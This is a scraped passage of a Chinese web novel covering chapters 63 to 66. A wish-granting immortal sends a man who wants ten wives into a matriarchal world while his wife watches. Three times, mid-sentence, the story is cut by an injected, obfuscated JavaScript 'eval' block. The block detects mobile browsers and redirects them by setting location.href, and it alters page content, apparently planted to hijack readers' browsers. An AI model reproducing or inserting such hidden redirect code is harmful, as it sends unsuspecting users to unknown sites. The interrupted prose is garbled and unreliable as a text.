头再次向下，力与力交汇，在空中发出咯吱咯吱的摩擦声，陈卓伟被压的跪在地上，一阵阵剧痛袭来，鲜血从他嘴角溢出。 “快跑啊！”吕厚反应飞快，直接拔腿就跑“七阶！这是七阶异兽！！！” 吕厚好歹是五阶异能者，对力量的感知比其他人强些，他能感觉到陈卓伟比他强上不少，是货真价实的六阶异能者，能让陈卓伟一个照面就受伤的，只有可能是七阶异兽了。 七阶异兽的强大如阴云般压在众人心头，当凌玉闻讯赶来并成功解决掉异兽时，场面堪称惨烈，小队所有人几乎全军覆没。 不知是幸运还是不幸，陈卓伟并没有死，他凭借着自己的六阶异能活了下来，但却失去了双腿，字面意义上的失去，毕竟治愈系异能者可以治愈疾病，却无法让断肢再生。 “陈先生，”凌玉脸上挂着不轻不重的礼貌性微笑“听说您醒来的第一件事就是找我，请问有什么事吗？” “呵，”陈卓伟冷笑一声，他的嗓音沙哑，干涩，带着些许空洞的回音“别装了，我都看见了。” “嗯？”凌玉不明所以的歪了歪头“虽然我很同情您的经历，但你看见什么了？我想我并未隐瞒过什么特别的事。” “七阶，”陈卓伟咬牙切齿的说道“你是七阶异能者！” “……这是什么很值得惊讶的事吗？”凌玉反倒有些惊讶“今年夏天的时候，我就已经是七阶异能者了啊。” “呵呵，呵呵呵，”陈卓伟从喉咙里发出一长串笑声“好手段，是我小瞧了你，你好手段啊！” “陈先生，我想你误会了，”听到陈卓伟这番话，凌玉反而明白了过来“我并未刻意隐瞒我的异能等级，只是没有特别宣扬而已，实际上，在看到今年协会拍卖会上有七阶异兽晶核的时候，大家应该就能猜出来，毕竟晶核不可能是捡的吧？而且我在清理南区的时候也用了全力，只要细心些，就不难发现。” 和陈卓伟想的自然系异能者占优势不同，实际上六阶异能者是不可能像凌玉那样召唤出出如此声势浩大的雷电的，因为打从一开始，她就是七阶。 “你……咳咳……你不过是仗着天赋比我好，”陈卓伟整个人都摇摇欲坠，却还剩最后一口气坚持着“我看到了，你认识眠云吧？你也向她求了力量对不对？我告诉你，她的帮助可不是免费的，你和我一样，都不会有好下场。” 虽然失去了双腿，但陈卓伟的脑子没丢，他现在虚弱的状态不仅是因为受伤，还有强行提升异能所带来的反噬，变强，总不可能毫无代价吧？ “陈先生，”凌玉漫不经心瞥了他一眼“你以为自己做不到，旁人就都做不到吗？我的确认识眠云小姐，但我没有提出任何愿望，自然也不用付出代价，顺带一提，我早就已经猜到你和眠云小姐做了交易，只是你这样的人，哪怕有了力量，充其量不过是个麻烦些的傻子而已，根本不足为惧。” 凌玉并不是什么传统意义上的好人，实际上，她之所以在大众面前维持乐善好施的圣母形象，只是因为利益最大而已。 虽然很多中二少年喜欢把末世先杀圣母挂在嘴边，但末世真正来临的时候，最能稳定人心的只有圣母，毕竟人啊，只有在自己一无是处还能被救的时候，才会感觉安心，不是吗？ “陈先生，人总要为自己的决定付出代价的，”凌玉站起来，优雅的欠了欠身“当然，那与我无关，再见了。” 63. 想娶十个老婆的男人 下雪的时候，林中总是格外安静，今日却是个例外，花花踩着地上薄薄的一层雪，苦着脸说道“云云，那两个人半个小时前就在那里吵架，他们还没吵完吗？” 一般来说，机缘巧合之下进入岐山的人多少会感觉到些不对，可这两人进来这么久，竟然还在原地吵架，不得不说，也算是一对奇人了。 “不急，”眠云不紧不慢的转着茶杯“你觉得他们谁有错？” “啊？应该是那个女人吧？”花花伸出爪爪，摸摸脑袋做思考状“毕竟出来游玩本来是一件开心的事，那个女人却非要抱怨老人、孩子、家务，这也太扫兴了，如果不想出来的话，她完全可以不出来啊。” “两位，”眠云笑了笑，微微提高些嗓音“你们都吵了半个小时了，不如坐下休息一会儿吧！” 说来也是有趣，这两人吵架的地方离眠云接待客人的亭子仅有几十米的距离，他们却能旁若无人的吵那么久，直到眠云开口，两人才停止争执。 “小姑娘，”穿着一身休闲运动套装，手上带着手表，年龄大概在三十五岁上下的男人率先开口“不好意思，让你见笑了，我老婆脾气有点儿……总之，请你多担待。” “不好意思。”比起男人的妥帖，和男人差不多年纪的女人就沉默很多，她瞪了男人一眼，对眠云勉强露出了一个笑，只是眼神中还有些警惕。 “二位怎么称呼？”眠云将热茶递给两人，微笑着说道“是……出来旅游的？” “谢谢你啊，小姑娘。”男人连忙将茶水接过来，笑着说道“我叫方明辉，你叫我方叔就行，她是我老婆，当然喽，小姑娘你可以叫我方叔，但还是叫我老婆胡姐吧，毕竟女人永远十八，是不是？” 方明辉这幽默风趣的发言并未打动眠云，她笑了笑，又问了一遍“这位女士，该怎么称呼您？” “胡燕，”女人盘着一头有些杂乱的黑发，似是有些诧异眠云为何会问她“怎么叫都行，我不在乎这个。” “胡女士，方先生。”眠云点点头“你们可以向我许下一个愿望，如果愿望实现了，你们也要付出相应的代价，你们想要许愿吗？” “小姑娘，看你的年纪你应该还在上学吧？是不是在搞什么社会调查啊？”方明辉笑的爽朗“要是你能实现愿望的话……先给我来十个美女当老婆！” “胡女士呢？”眠云将视线转向胡燕“你有什么心愿？” “……不了，”胡燕想了一会儿，最终还是摇摇头“我没有心愿，我怕我给不起你想要的代价。” “嘿，就是个玩笑而已，那么认真干嘛？”方明辉笑道“你刚才不是还一直说小宝容易生病吗？赶快许愿让小宝好起来啊？” “方先生，请不要轻易打断或否认旁人说话，这是最基本的礼仪，你不知道吗？”眠云浅浅抿了一口茶“况且，你慨他人之慷，将你妻子的愿望也许了出去，这不太好吧？” “这……”方明辉似是有些尴尬，倒是胡燕神色轻松了些，对眠云说道“小姑娘，谢谢你，只是我真的没什么愿望，如果一定要说一个愿望的话，那就让我的两个孩子平安健康长大吧。” “胡女士，你的心愿我满足不了，”眠云笑着摇摇头“我与人类做交易最是公平，你的孩子本来就能平安健康长大，因此，交易不成立。” 方明辉、胡燕两人来自相对和平且科技水平尚可的现代，孩子平安长大不是什么难事，至于健康，两人的孩子本也没什么重大疾病，自然不能算作条件。 “谢谢，”胡燕又笑了一下，虽面部表情仍有些僵硬，却比之前真诚了很多，她拿起茶杯喝了一口说道“小姑娘，我和我丈夫在山里迷路了，你能不能帮我们指个路？这天都快黑了，要是再不回去的话，我怕孩子都饿了。” “不过，方先生，你的愿望我是真的可以实现。”眠云没有回答胡燕的问题，而是笑盈盈的说道“你想要十个漂亮的妻子，且妻子的性别必须为女性，是吗？” “哈哈哈哈哈，对！”方明辉笑起来，似乎觉得这是件有意思的事“怎么，小姑娘，你要给我介绍十个？” “你别做那丢人样子烦人家姑娘！”胡燕拧起眉头呵斥道“还不快赶紧起来下山！一天天的路也不看，就把孩子扔给妈带，妈那身体怎么样你还不知道？” “我可以送你去别的时空，合理合法的拥有十个漂亮的妻子，怎么样，你要和我做交易吗？” 眠云一边说着话，一边手上动作也没停，她将茶水向空中一抛，形成水幕，又对胡燕说道“胡女士，您无需太心急，您的孩子已经吃过邻居家的饭了，您的婆母身体也很健康。” 水幕中的画面，赫然便是胡燕家里的景象，画面中，胡燕的婆婆正与人打麻将打的起劲，丝毫没有平日里需要人伺候的虚弱，而胡燕的两个孩子也早早被她婆婆送到了邻居家，幸而邻居是个很和善的老人，将两个孩子照顾的不错。 “这！这……”胡燕惊疑不定的指着水幕中的画面，嘴巴张成了o形，这一会儿实在发生了太多不可思议的事，让她不禁怀疑自己是不是在做梦。 “小姑娘，你到底是什么人？”方明辉也很惊讶，当然，他惊讶的只是水幕本身，而非水幕里的内容。 “我？”眠云笑着摇了摇茶杯“我是神仙啊，怎么样，你要和我交易吗？” “……我要付出什么代价？”方明辉沉默良久，抬头问道。 “老方！”胡燕不可置信的看着方明辉“你有老婆有孩子，还有个老娘，难道你要为了几个还没边的女人就把我们都扔下？！” “看来真心有时候都藏在玩笑里呢，”眠云意味不明的说了一句，接着又说道“转换时空是很高级的法术，不过啊……我今天心情很好，算你个优惠价，就用你的一缕魂魄来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090333|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换吧。” “魂魄？”方明辉愣了一下“这魂魄没了，人不就死了吗？” “只是一缕魂魄而已，没有那么夸张。”眠云随意说道“顶多……会让你更嗜睡一些，或者偶尔有些精神不济，对生活没有太大影响。” “方明辉！”胡燕忍不可忍的喊“你还真打听起来了，你这个人渣，你还想光明正大的找小三？” “我同意！”瞥了一眼胡燕以后，方明辉飞快的答道“姑娘，你也看到了，这个疯婆子整天发疯，我忍她忍的都快抑郁了，只要能离开她，我付出什么代价都愿意。” “那么，”眠云微微侧头“交易成立。” 眠云话音刚落，方明辉就消失在原地，胡燕怔愣的看着眼前的一切，眼泪大颗大颗的往下掉。 “胡女士，您为什么哭呢？”眠云的语气轻飘飘的“因为您的丈夫选择了离开？” “……我是不是很蠢？”胡燕喃喃自语道“方明辉烦我烦到了这个地步，我却一点儿都不知道，要是早知道，我……” “嗯，我想你不必为此纠结。”眠云语气淡然“很显然，方先生并不厌恶你，不然你恐怕早已被他赶出家门，只是比起你和孩子，他更想要十个美女而已，这很难理解吗？” 对于方明辉来说，胡燕显然是有价值的，如果她没有任何价值，方明辉早就抛弃她了，这个道理很简单，胡燕不是不明白，只是自欺欺人罢了。 “我……我想回家，”胡燕弱弱的说了一句“我想回家，可以吗？” “自然，”眠云点头，忽的又抬起头看向远方“唔……如果你感兴趣的话，可以去看看你的前夫，他正在想办法找我呢，大概是拥有十个妻子之后的日子也并没有他想象中的那么美好吧。” “去！”胡燕迷茫了片刻，又狠狠的说道“我凭什么不去？我倒要看看，那个王八蛋是怎么倒霉的！” 说胡燕不生气，那是假的，毕竟她以为她和方明辉哪怕称不上情深似海，也是相伴多年的夫妻，多少有些患难情谊，可没想到方明辉这个狗东西在美女面前压根没犹豫，直接跑了，那她算什么？傻子吗？ 说起傻，方明辉这个人倒是不傻，或者说他做的决定看似草率，实际上却是经过仔细考量的。 眠云说过，可以将他送到别的时空，让他拥有十个漂亮老婆，无论是在哪个国家哪个年代，漂亮女人都是稀缺资源，能有十个老婆，社会地位必然不会低，钱肯定也是不缺的。 所以说，他虽然只提出了拥有十个漂亮老婆的条件，但为了这个条件的合理性，他会拥有额外的财富、资源、社会地位，只要付出一点点代价就能轻易得到这些，哪个男人能不心动？ 可是……可是他万万没想到，他竟然会出现在战场上！ 看着周围破败的土墙和土墙内瑟瑟发抖的女人，方明辉忍无可忍，直接大声咒骂起来。 64. 第2章 “方先生，”眠云慢悠悠的走过来“怎么，你有什么不满意的地方吗？” “你直接把我送战场上来了？！”方明辉想要将眠云痛骂一顿，却又碍于此时能帮他的只有眠云，他勉强在脸上挤出一抹笑来，尽量放缓语气“小姑娘，我说你做人不能太黑心啊，这哪里是人待的地方？” “方先生，你只说你要十个漂亮老婆，没有要其他的东西吧？”眠云似笑非笑“要知道，这里可是真实的世界，若不是在发生战争，男人几乎死光的情况下，你这般平庸的人，怎能配得上十个貌美的女子呢？” 如果每个人都能娶十个老婆，那女性的数量必须是男性的十倍才行，如此大的性别差异，也只能是战争所造就的了。 “战区也就算了，这群女人怎么不工作，全靠我养啊？”方明辉伸手指向一旁脸上覆着面巾，瑟瑟发抖的女人们“我一个人要养这么多人，要她们还有什么用？” “方先生，原本我以为你还算聪明，没想到你也只有在算计你妻子的时候比较聪明。”眠云笑了笑“你觉得，女人们如果能养活的起自己，还有必要嫁人吗？各取所需而已，人不能既要又要，你喜欢她们年轻貌美，她们需要你的金钱和庇护，这很公平，不是吗？” “你好歹帮我换个和平年代，”方明辉揉了揉脑袋“这破地方我是一天也待不下去了，还有，我是要十个美女，不是要十个吸血鬼，这种只会花钱的女人白送我我都不要。” “方先生，您的意思是，您要再次向我许愿要十个漂亮老婆，附加条件是必须处于和平年代，且每个老婆都有独立的经济能力，是吗？”眠云将条件一一罗列“你要求的条件越多，付出的代价越大，这次你要付出的，是你死后的灵魂，你愿意吗？” “死后的灵魂？”方明辉想了一会儿，觉得自己死都死了，有灵魂又不能复活，他直接说道“成交！” “那么，交易成立，”眠云笑了笑“祝你生活愉快。” “这个狗东西！”胡燕唾弃道“想找小老婆，还连养小老婆的钱都不给，我呸！他也算是男人？！” “大概人类都是贪心不足的吧，”眠云并不意外方明辉的选择，这世间很少有超出她预料的事“方先生在娶胡女士你的时候，显然是出于经济上的考量，毕竟胡女士勤奋、节俭、务实又有能力，家境虽算不上好，却也不差，方先生选择了你，却依旧因为你不够漂亮而耿耿于怀。” “而当方先生真的拥有了容貌漂亮的女人作为妻子时，他又无法接受他风里来雨里去独自赚钱养家，毕竟以他的能力，支撑起一个家，是相当困难辛苦的。” “这不就是传说中的精神大男子主义吗？”胡燕也经常上网冲浪，她立刻接话道“没那个赚钱养家的本事，还想让老婆把他当皇帝，一花钱就说男女平等，一做家务老人照顾孩子就讲传统美德。” “嗯，这个词还挺有意思的。”眠云笑了一下“欲戴王冠，必承其重，这世界上可没有免费的午餐，如果贪心到什么都想要，最终也会付出很沉重的代价啊。” “小姑娘，我可以看看我老公在别的世界过的怎么样吗？”胡燕犹豫了一会儿，还是主动开口道“不看到那个王八蛋倒霉，我始终觉得心里难受。” “可以。”眠云点头“我们可以一起去方先生现在所在的世界，那也是个很有趣的地方呢。” 胡燕不懂眠云说的有趣是什么意思，但当她再次睁开眼，她立刻察觉到了这个世界的奇特之处。 这个世界乍一看和现代差不多，也有高楼大厦，汽车飞机，可细看之下，却能发现端倪，这里女人的数量太多了，走在大街上的女人几乎占了总数的八成。 “这是……”胡燕有些惊讶，她看着来来往往的人群“女儿国？” “虽然不是，但用女儿国来形容还挺贴切的。”眠云将胡燕啦到了路边的露天咖啡厅“由于基因问题，这个世界的胎儿性别比大概是三比一，也就是每生出三个女孩，才会有一个男孩。” “啊，”胡燕神色有些愤愤“那这回还真让那个王八蛋捡着了，这个世界男人这么少，他岂不是真能娶好几个老婆？” “你怎么会这样想？”眠云笑了“奴隶，可不会因为稀缺而变成主子。” * 方明辉睁开眼，见到周围干净整齐的建筑和各种现代设施时心情格外激动，毕竟他之前在战区待了一个月，别说智能手机了，就连抽水马桶都是奢侈品。 “儿啊，”一个四十岁左右的中年男人拍了拍方明辉的肩膀，语重心长的说道“你老大不小的，还没有家，家里的姐妹们都该有意见了，今天爸带你去相亲，你可别再挑三拣四，说这个不行那个不行的。” “知道了。”方明辉敷衍了一句，他心里清楚，这次的相亲对象大概就是眠云给他安排的十个老婆，他只要按照正常流程走，应该就不会出什么大问题。 果不其然，在他到场以后，一个眉眼冷艳的女人走了进来，女人自称姚家长女，代表妹妹们出席，与相亲对象见面。 方明辉脑子转的快，他意识到，这个世界的婚姻应该是像娥皇女英那样，姐妹同嫁一人，在听说对方有九个妹妹以后，方明辉立刻答应了下来，毕竟这可是十个大美女啊，谁能拒绝？ “如果方先生同意的话，我与其他妹妹会另寻个时间拜访伯母们。”姚家长女姚熠利落的走完流程，又看了一眼时间“抱歉，我今天有些忙，账单我已经结过了，如果没事的话，我先走了。” “哎？你看你这孩子，实在太客气了。”方明辉的父亲笑着和姚熠寒暄了几句，看起来对她很满意的样子，等姚熠离开，他又拍了拍方明辉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095688|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀“怎么样，小辉，这会你可该满意了吧？人家姚熠不仅开了个公司，还是名门望族之后呢，要不是你母亲和她母亲是旧识，你烧高香都找不到这样的人家。” “满意满意，”方明辉看着姚熠和她九个妹妹的照片，哪里有不满意的道理“爸，我什么时候能把她们娶回来啊？” “你个臭小子，你还想娶人家？”方父笑骂道“你也不看看你是什么条件，人家礼金都给了，要是你母亲也同意的话，下个月你就要出门喽。” “我是上门女婿？”方明辉皱起眉头，心里有些不满。 “哎，什么上门不上门的，现在哪讲究这个，”方父用过来人的姿态说着“况且男人不都这样吗？说上门也太难听了，你听爸一句劝，她们家长辈不多，你还是头一个进门的，自然比其他男人体面些。” “这是什么跟什么啊？”方明辉被绕的云里雾里“总之，你给我准备房子了吗？没房子的话，结婚以后我住哪儿？” “你瞧瞧你这个没出息样子，还想主动贴房子给人家，”方父哈哈大笑“你放心，姚熠早就准备好了婚房，是个独栋别墅，位置好环境也好，就等你过门呢。” “……” 方明辉一开始不太想当上门女婿，但在方父的劝导下也逐渐开始动摇，毕竟不用房子不用车，女方还倒贴礼金，他怎么想都是赚。 * “你是说，这是一个女尊世界？”胡燕惊讶的看着周围，没找到，她只在小说里看过的题材，现实中竟然真的存在。 “嗯……倒也不完全是，说是女尊只是更方便你理解一些，用科学客观的说法，应该叫做母系社会。”眠云搅了两下面前的咖啡，看着窗外来往的人群“在这里，所有重要机构都是以女性为主体，没有家庭的概念，女性以姓氏为界限，构成不同的部族，同姓同族的女人们生活在一起，男人也是共用的。” “共、共用？”胡燕惊掉了下巴“这是怎么个共用法啊？” “因为这个世界的男人比较少，所以对于一个部族能拥有的男人数量，在法律上是有明文规定的，”眠云不慌不忙的解释道“部族的人数除以三取整再加一，就是一个部族可以有的最大男人数，比如一个部族由十个女人构成，那么就用十除以三，取整数三，再加一，这个部族最多可以有四个男人。” “也就是说，这四个男人就是十个女人的丈夫，而且是不分彼此的丈夫？”胡燕三观被重塑，震惊到不知道该说什么好。 “嗯，”眠云微微点头“只是这个世界没有丈夫或妻子这种称呼，婚姻关系也是男方加入了女方的部族，成为的女方的族人而已。当然也有相反的情况，就像你所在的世界也有上门女婿一样，在这个世界，女性抛弃自己的部族加入男方的部族被认为是一种非常屈辱的事，一般人不会接受。” 65. 第3章 方明辉觉得，自己的前半生一直在忍耐一个极其平庸的女人，如果不出意外的话，他应该会忍那个女人一辈子，毕竟一旦离婚，他很难再找到一个像胡燕那样吃苦耐劳，洗衣做饭带孩子伺候老人一样不落的女人。 可如今，方明辉却后悔没有早点遇到眠云，穿越到这个世界以后，他才知道原来男人可以不用累死累活拼命赚钱，不用上班，每天睡到自然醒的日子简直太爽了，哪怕要当上门女婿，他也认了。 “明辉，明辉！” 方明辉的房门被敲响，他懒洋洋的扫了一眼手机，这才早上六点，方父不睡觉，叫他干嘛？ “明辉，快起来！”方父见敲了许久都无人应门，便直接推门而入，将方明辉强行从被窝里拽起来“你这么懒，哪个部族敢要你？要是你刚进姚家就被赶出来，我和你妈可不让你进门。” “行了，起来了！”方明辉有些烦躁，但想想以后不用上班的日子，偶尔早起一两回也不是不能忍“爸，你这么早叫我干什么？妈她们都还没起呢吧？” “等大家都起来就晚了！”方父没好气的瞥了方明辉一眼“赶紧穿衣服，去跟我学做饭。” “做饭？”方明辉正在穿衣服的手忽然顿住“你就是为了这事儿叫我？” “不然呢？”方父嫌弃的看着方明辉“你也老大不小，要出门的人了，要是连饭都不会做，人家要你干嘛？怎么，就你会占便宜，开豪车住豪宅还什么都不用干？” “行了行了，不就是做饭吗？”方明辉想想也是这个道理，反正他一天都不用上班，做个饭而已，就忙一会儿，有什么可怕的？ “这才像个男孩样子，”方父拍了拍方明辉的肩膀“你这房间也太脏了，哪有男孩这么埋汰的，等做好了饭，爸爸再教你其他东西。” 方明辉压根没听进去方父在说什么，只胡乱点了两下头，毕竟早上六点起床，比他平时上班还早，这会儿他脑袋还迷糊着呢。 方家不是什么大家族，老一辈只有方明辉的母亲一人，方明辉这辈倒是有三个女儿，两个已经工作的与母亲同住，一个还在外地上大学，方明辉和方父两人做五人份的早餐倒不算难，只是方明辉没做过饭，笨手笨脚帮了很多倒忙，导致饭菜七点才上桌。 吃完了饭以后，方明辉刚想回屋打游戏，又被方父拉住收拾碗筷，擦桌子洗碗，紧接着又是扫地拖地整理房间，等将一系列事情做完，又到了吃中午饭的时间，方明辉只好跟着父亲再次重复买菜、做饭、整理家务的过程，直到晚上吃完饭，他才彻底闲下来。 “爸，家里的活全都干完了吧？”方明辉往床上一趟，对方父摆摆手“明天可别这么早叫我了，我起不来。” “你这孩子，”方父笑骂道“怎么，你这一顿饭吃了，下一顿就不吃了？别的不说，这地要天天扫天天擦的，不然得多脏啊，而且家里的衣服还没洗呢，你明天不准偷懒啊。” “爸，你每天都这么干活？”方明辉从床上弹起来“那和上班有什么区别？” “照顾家庭也是工作，其实和上班没多大区别，有时候比上班还累。”方父神色有些感慨“只是你妈要上班，爸只能在家照顾你们，请育婴师爸又不放心。” “那让我妈照顾家里，你去上班呗，”方明辉随意吐槽了一句“你现在出去上班也行，毕竟我们都这么大了，也不需要你照顾。” “你想的倒简单，”方父笑着摇了摇头“你母亲还要赚钱养家呢，离了她，你们吃什么用什么？而且爸都这把年纪了，别说上班了，去扫大街都没人要。” “那明儿我自己找个班上，”方明辉把脑袋往被子里一蒙，闭上眼睛说道“别六点叫我了，我起不来。” “你啊！”方父笑着摇摇头，心想今天的确把这孩子给累坏了，休息一天放松放松也行。 日子就这样一天天过去，方明辉常常被方父拽起来干活，偶尔也出去面试了几次，只是这几次面试都没什么回音，他也逐渐歇了找工作的心思。 一个月的时间多少让方明辉对这个世界有了些了解，原来这个世界是以女为尊，姓氏带女字旁的都是望族，姚家便是如此，他能进姚家，确实是高攀，所以姚家人并不是很待见他，也没有举行婚礼对外公开的意思。 结婚登记当天，姚家十姐妹和方家众人聚在了一家高档酒店内，方明辉一大早就被拽起来梳洗打扮，现在正困的不行，也没注意她们都说了些什么，只在饭局结束以后便跟着姚家姐妹回到了姚家别墅。 “姚先生，”一到了姚家别墅，姚家众人纷纷各自离开，只有一个年近半百的女管家出来接待方明辉“请您跟我来，您的房间在二楼。” “嗯，”方明辉浑浑噩噩的点头，过了一会儿才反应过来不对“等等，你刚才在叫谁？我姓方，你叫我姚先生干什么？” “姚先生，您既已入了姚家，在外自然应该被叫做姚先生。”管家莫名其妙的看了方明辉一眼，随后又善解人意的说道“如果姚先生还没有习惯已婚身份的话，我也可以直接叫您先生。” 管家这番貌似体贴的话并没有让方明辉释怀，反而让他心里更不舒服，但现下他实在太困了，便摆摆手示意管家离开，他要补觉。 “姚先生，”管家没有立刻离开，而是提醒道“姚家会在晚上六点用晚餐，这对姚先生来说是个好机会。” 和方家那种人口不多的小族相比，姚家人的数量就多得多了，除了姚家这一代的十姐妹，上面有三个长辈，两位先生，姚先生聪明一点儿的话，就应该知道怎么做了。 “嗯嗯，”方明辉困的睁不开眼，嘴里答应道“我知道，我知道。” 等方明辉一觉睡醒，天已经彻底黑了下来，他看了一下时间，五点五十，在睡着之前他依稀记得管家说六点吃饭，时间刚刚好。 方明辉没犹豫，随便套了一件衣服便下了楼吃饭。 一楼餐厅里灯火辉煌，所有人皆规规矩矩坐在椅子上等待，坐在主位的女子见方明辉饭点才来，轻轻瞥了他一眼说道“小伙子，你就是方家人，叫方明辉，是吧？” “伯母好，”方明辉不喜那女子高高在上的态度，但碍于礼貌还是说了一句“以后我会照顾好您女儿的。” “呵，”女人冷笑一声“方家就是这么教男孩的，连这点儿规矩都没有，还真是……” “不如让他先跟着管家学学规矩吧，”姚熠见状，微微抬头，打量了方明辉几眼“毕竟进了姚家，以后就是姚家的人，如此不知礼，也着实不堪入目。” “姚先生，”管家悄无声息的出现在方明辉身后，微笑着收走他面前的碗碟“请您跟我来。” “有什么事不能先吃完饭再说？”方明辉皱起眉头，明显对姚家很不满意，他以为进了姚家这种豪门就能彻底躺平了，没找到他才刚进门，姚家就给了他一个下马威。 “请您放心，晚餐我会给您送过去。”管家依旧保持着微笑，她看了一眼旁边站着的两个女人，两个女人一左一右，用不容抗拒的力道架起方明辉，将他带进了一个封闭的小房间。 “哈哈哈哈哈！”胡燕看着像小媳妇一样被管家压着教导礼仪，半天都吃不上一口饭的方明辉哈哈大笑“他以前在家的时候，我不把饭给他端到面前他都大吼大叫的，没想到，现在人家都这么为难他了，他不仅没摔桌子，反而乖的跟狗一样。” “形势比人强，”眠云也笑了一下“方先生在你和他的家里稍有不顺心就发脾气，是因为他知道，他发脾气以后你会妥协，现在他发脾气，人家没理由惯着他，你看他身后那个保镖不耐烦的表情就知道了，他要是掀桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098890|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，人家说不定会借机打他一顿。” “……是啊，”听到眠云这么说，胡燕反而沉默了下来“我想，很多时候都是这样。” “我刚嫁给方明辉的时候，方明辉那个妈也是横竖看我不顺眼，当时我怀着孕，只好忍下来。” “有时候就连我自己都觉得，我太窝囊了，但我现在想通了，不是我窝囊，而是任何人身处这个位置，都不得不窝囊。” “女人不是一种性别，而是一种处境［注］”眠云看着水幕中的画面说道“你的丈夫自认是堂堂七尺男儿，可当他真的处在女人的位置，他的做法，也和大多普通女人差不多，甚至因为失权落差，他会比一般的女人更加焦虑脆弱。” “可能他自己还没发现吧，”眠云手指轻点在桌面上“他已经开始受到周围环境的影响了，比如他习惯了男人不出门工作，也没有以前那么排斥做家务，这只是个开始，接下来的事，或许会更精彩呢。” 果不其然，水幕中的画面开始变化，方明辉试图用大喊大叫，乱踢乱砸等方式表达不满，可惜这些并没有什么用，没有人理会他的愤怒，管家嘴里说着礼貌的话语，看方明辉的眼神却像是在看一个疯子，充满审视与嘲讽。 “……我发脾气的时候，也是这样吗？”胡燕摸了摸自己的脸，神色有些怔愣“怪不得，方明辉曾经说我像个疯婆子。” “你真的认为，这是发脾气吗？”眠云侧身看向胡燕“在你发脾气的时候，你在想什么？” “我在想，为什么没人肯听我说话呢？”胡燕苦笑道“其实我以前脾气不差，和人说话时总是轻声细语，但结婚后我特别爱发脾气，或许是因为当我好好说的时候，根本没人听我的话吧。” “当你的想法没有被重视的时候，你选择了愤怒，可俯视之下，你的愤怒也不值一提。”眠云语气平淡，神色也是一如既往的沉静。 “我明白，”胡燕脸上的表情似哭似笑“就像我家的狗朝我叫的时候，我只觉得又烦又吵，我不会追究原因，只想让它闭嘴，因为我不会去共情一条狗。同样的道理，方明辉不会共情我，而如今，这种居高临下的蔑视，也轮到他自己体验了。” 早上忙碌了半天，晚上又被折磨了好几个小时，方明辉彻底没了力气，沾床就睡，直到第二天管家的敲门声把他吵醒，他才反应过来自己已经结婚了。 “姚先生，”管家微笑着做出了一个邀请的动作“请您为姚家众人准备早餐，这也是您作为姚家一员的责任。” 方明辉揉着眼睛，去厨房做饭，幸好他在方家学过几天，再加上有厨师的帮忙，做出几份简单的早餐不算难。 姚家目前的当家人，也就是姚熠的二姨母也并未太过苛责，她吃过以后微微点头表示认可，示意方明辉可以去休息了。 方明辉松了一口气，心里还有些庆幸对方没找他麻烦。 因为不用上班，在午饭之前他有不少时间可以闲逛，今天天气很好，方明辉也不打算一直窝在房间里打游戏，他去了别墅自带的后花园，别说，这烧钱的东西还真不错，看着就挺赏心悦目。 “你好，你是姚家的客人吗？”姚家隔壁，在花园中给花浇水的男人友好的笑了笑，和方明辉打了声招呼“我叫田园，住在姚家隔壁，你有空可以过来找我喝喝下午茶。” “方明辉，”方明辉含糊的说道“嗯……我住在这儿，你每天这么悠闲的吗？还有时间喝下午茶？” “嗯？”田园有些疑惑“你是说工作吗？像我们这般身份的人，当然不需要自降身价去换几个钱啊。” “我是说，”方明辉有些心虚“你母亲，不会要求你做这做那的吗？” “哦，”田园恍然大悟“我想起来了，你就是刚进姚家的方先生吧？我记得前几天听姚玖讲过。” 66. 第4章 田园是姚家的邻居，知道不少姚家的事，对方明辉也有所耳闻，包括姚家众人对他的态度，田园也比方明辉更清楚。 “姚家上一辈共有四女，长女在二十年前过世，现在姚家的当家人是排行第二的女儿，姚闻。”田园是个热心肠的人，他见方明辉对姚家一知半解，主动向对方介绍起了姚家的情况。 “姚闻阿姨虽然严肃古板了些，但人还是不错的，”田园笑着对方明辉说道“姚家不缺一个做饭的人，但对姚家这种大家族来说，最重要的是态度，这一点姚先生应该明白吧？” “所以……其实姚家不需要我做饭，但要是我不做饭，就是态度不行？”方明辉皱起眉头“那我不还是要做饭吗？” “姚先生，你可真是……”田园嘴角弯了弯“我换个说法吧，其实姚阿姨让你做饭，是为了看看你的礼仪，当你每次都能做好的时候，自然就不需要做了。” “原来是这样，”方明辉想起今天早上他的确没被刁难，他还以为是姚家的要求不高，谁知道姚家其实只是要他一个态度而已“那我要是精通厨艺的话，不就不用做饭了？” 想想这个买卖其实还挺划算的，只要学会做饭就永远不用做饭，一劳永逸。 